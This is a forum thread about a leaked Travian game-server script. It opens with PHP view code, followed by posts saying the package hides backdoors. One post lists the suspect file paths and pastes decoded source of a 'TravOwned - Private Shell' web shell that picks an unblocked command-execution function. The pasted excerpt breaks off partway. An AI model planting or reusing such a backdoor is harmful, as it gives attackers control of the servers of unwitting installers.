\r\n\t\t\t\t<img class=\"clock\" src=\"assets/x.gif\" alt=\"";            echo text_period_lang;            echo "\" title=\"";            echo text_period_lang;            echo "\">";            echo WebHelper::secondstostring( $build['levels'][0]['time_consume'] / $this->gameSpeed * ( $this->data['time_consume_percent'] / 100 ) );            echo "\t\t\t\t";            echo $this->getResourceGoldExchange( $neededResources, $item_id, $this->buildingIndex );            echo "\t\t\t</td>\r\n\t\t</tr>\r\n\t\t<tr>\r\n\t\t\t<td class=\"link\">";            echo $this->getActionText( $neededResources, FALSE, FALSE, $item_id );            echo "</td>\r\n\t\t</tr>\r\n\t</tbody>\r\n</table>\r\n";        }    }    echo "\r\n";    if ( $_GET['id'] != 39 && $_GET['id'] != 40 && !( $this->data['is_special_village'] && ( $_GET['id'] == 25 || $_GET['id'] == 26 || $_GET['id'] == 29 || $_GET['id'] == 30 || $_GET['id'] == 33 ) ) )    {        echo "<p class=\"switch\"><a id=\"soon_link\" href=\"javascript:showPane('soon');\">";        echo LANGUI_BUILD_T9;        echo "</a></p>\r\n<div id=\"build_list_soon\" class=\"hide\">\r\n\r\n";        foreach ( $this->newBuilds['soon'] as $buildArray )        {            foreach ( $buildArray as $item_id => $build )            {                echo "<h2>";                echo constant( "item_".$item_id );                echo "</h2>\r\n<table class=\"new_building\" cellpadding=\"1\" cellspacing=\"1\">\r\n\t<tbody>\r\n\t\t<tr>\r\n\t\t\t<td class=\"desc\"><p>";                echo constant( "item_desc_".$item_id );                echo "</p></td>\r\n\t\t\t<td rowspan=\"3\" class=\"bimg\">\r\n\t\t\t\t<a href=\"#\" onclick=\"return showManual(4, ";                echo $item_id;                echo ");\"><img class=\"building g";                echo $item_id;                echo "\" src=\"assets/x.gif\" alt=\"";                echo htmlspecialchars( constant( "item_".$item_id ) );                echo "\" title=\"";                echo htmlspecialchars( constant( "item_".$item_id ) );                echo "\"></a>\r\n\t\t\t</td>\r\n\t\t</tr>\r\n\t\t<tr>\r\n\t\t\t<td class=\"requ\">";                echo LANGUI_BUILD_T11;                echo ":</td>\r\n\t\t</tr>\r\n\t\t<tr>\r\n\t\t\t<td>\r\n\t\t\t";                $flag = FALSE;                foreach ( $build['pre_requests'] as $reqId => $reqValue )                {                    echo "\t\t\t";                    if ( $flag )                    {                        echo ", ";                    }                    echo "<a href=\"#\" onclick=\"return showManual(4,";                    echo $reqId;                    echo ");\">";                    if ( $reqValue == NULL )                    {                        echo "<strike>";                    }                    echo constant( "item_".$reqId );                    if ( $reqValue == NULL )                    {                        echo "</strike>";                    }                    echo "</a>";                    if ( $reqValue != NULL )                    {                        echo "<s";                        echo "pan title=\"";                        echo $build['pre_requests_dependencyCount'][$reqId] < 0 ? ">" : "+".$build['pre_requests_dependencyCount'][$reqId];                        echo "\"> ";                        echo level_lang;                        echo " ";                        echo $reqValue;                    }                    echo "</span>\r\n\t\t\t";                    $flag = TRUE;                }                echo "\t\t\t</td>\r\n\t\t</tr>\r\n\t</tbody>\r\n</table>\r\n";            }        }        echo "</div>\r\n";    }    echo "</div>\r\n";}?>
Hope you got what you wanted ..

The registration is not work :(
http://testservertravian.altervista.org/register.php
Because is white?:(
 
Divine Celestial
Joined
Feb 25, 2013
Messages
808
Reaction score
343
Files are not worth using. I found 2 backdoor scripts and 4 sql injections.

Sokiflou you are not smart as you think you are.
 
Initiate Mage
Joined
Apr 9, 2014
Messages
4
Reaction score
0
Yeah there is no sql injection or any other poop
what do you mean by run these files ? It run like every dboor

assets/default/plus/tthubs.php

img/un/login.php

lib/mysl2.class.php

img/portal/interface/koma.php


decode from koma.php
Code:
/**
 *
 * @ IonCube v8.3 Loader By DoraemonPT
 * @ PHP 5.3
 * @ Decoder version : 1.0.0.7
 * @ Author     : DoraemonPT
 * @ Release on : 09.05.2014
 *
 **/

function get_srv_info() {
    echo '<br /><span id=\'title\'>TravOwned - Private Shell</span><br /><div class=\'box\'><b>Server Name: </b>' . $_SERVER['SERVER_NAME'] . '<br />
            <b>Server IP: </b>' . $_SERVER['SERVER_ADDR'] . ' <span class=\'enabled\'><a href=\'http://www.who.is/whois/' . $_SERVER['HTTP_HOST'] . '\' target=\'_blank\'>[WHOIS]</a> - <a href=\'http://www.dnsstuff.com/tools?runFromMain=' . $_SERVER['SERVER_ADDR'] . '&toolType=traceroute\' target=\'_blank\'>[TRACEROUTE]</a></span><br />' . '<b>TravOwned Location: </b>' . $_SERVER['SCRIPT_FILENAME'] . '<br />
            <b>Server Software: </b>' . $_SERVER['SERVER_SOFTWARE'] . ' <span class=\'enabled\'><a href=\'http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=' . $_SERVER['SERVER_SOFTWARE'] . '&filter_exploit_text=&filter_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve=\' target=\'_blank\'>[Exploit DB]</a></span><br />
            </div><br /><br /><p></p>';
}

function cmd() {
    $disabled = explode( ', ', ini_get( 'disable_functions' ) );
    $diabledLower = array(  );
    foreach ($diabled as $function) {
        $diabledLower[] = strtolower( $function );
    }


    if (!in_array( $diabledLower, 'exec' )) {
        return 'exec';
    }


    if (!in_array( $diabledLower, 'passthru' )) {
        return 'passthru';
    }


    if (!in_array( $diabledLower, 'system' )) {
        return 'system';

idk what this is? anyone please tell me :$:
 
Initiate Mage
Joined
Aug 22, 2012
Messages
3
Reaction score
0
we don't have acces to admin , and how can we setup medals on it ? make it every day ?
 
Initiate Mage
Joined
Apr 13, 2014
Messages
2
Reaction score
0
Merhabalar !!!


Travian 4.4 25x Sunucu Açıldı !


Ön kayıtlar başladı , 28/09/2014
Saat 13:00 da oyun başlıyor !


 
Status
Not open for further replies.
Back
Top